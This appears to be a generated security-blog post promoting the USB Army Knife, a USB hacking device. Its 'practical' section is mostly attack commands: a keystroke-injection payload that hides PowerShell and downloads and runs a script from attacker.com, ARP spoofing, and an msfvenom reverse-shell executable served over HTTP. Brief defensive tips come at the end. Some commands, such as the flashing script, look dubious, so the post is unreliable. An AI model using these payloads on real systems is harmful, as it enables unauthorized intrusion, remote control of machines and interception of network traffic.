Listen to this Post
The USB Army Knife is an innovative cybersecurity project developed by Shodan (i-am-shodan) that transforms a USB device into a multi-functional hacking tool. Inspired by the Swiss Army Knife, this project enables penetration testers and security researchers to perform various attacks, including BadUSB, keystroke injection, and network exploitation, all from a single USB device.
Key Features of USB Army Knife
- BadUSB Attacks: Emulate keyboard inputs to execute malicious scripts.
- Network Exploitation: Perform MITM (Man-in-the-Middle) attacks, ARP spoofing, and packet sniffing.
- Payload Delivery: Deploy reverse shells, ransomware, or data exfiltration scripts.
- Stealth Mode: Operate without detection by mimicking standard USB devices.
Project Link
You Should Know: Practical USB Army Knife Commands & Techniques
1. Setting Up USB Army Knife
To get started, clone the repository and install dependencies:
git clone https://github.com/i-am-shodan/USBArmyKnife.git cd USBArmyKnife chmod +x setup.sh ./setup.sh
2. BadUSB Attack Example (Duckyscript Payload)
Create a malicious payload (`payload.txt`) for keystroke injection:
DELAY 1000
GUI r
DELAY 500
STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
ENTER
Flash it to the USB:
python3 usbarmyknife.py --payload payload.txt --output malicious_usb
3. Network Sniffing with USB Army Knife
Enable monitor mode and capture packets:
sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up sudo tcpdump -i wlan0 -w capture.pcap
4. ARP Spoofing Attack
Redirect traffic between two hosts:
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.2
5. Deploying a Reverse Shell
Generate a payload with msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe > shell.exe
Host it on a local server:
python3 -m http.server 80
What Undercode Say
The USB Army Knife is a game-changer in penetration testing, allowing security professionals to execute multiple attack vectors from a single device. However, ethical use is critical—unauthorized attacks are illegal.
Essential Linux & Windows Commands for USB Attacks
– Linux:
lsusb List connected USB devices dmesg | grep USB Check USB connection logs
– Windows:
Get-PnpDevice -PresentOnly | Where-Object { $_.InstanceId -match '^USB' } Detect malicious USB
Defensive Measures
- Disable AutoRun in Windows:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer Set "NoDriveTypeAutoRun" to 255
- Use USB Killers Detection:
sudo apt install usbguard sudo usbguard generate-policy > /etc/usbguard/rules.conf
Expected Output:
A fully functional USB Army Knife device capable of executing BadUSB, network attacks, and payload delivery with proper logging and stealth evasion.
🔗 Additional Resources:
References:
Reported By: Paulasadoorian The – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
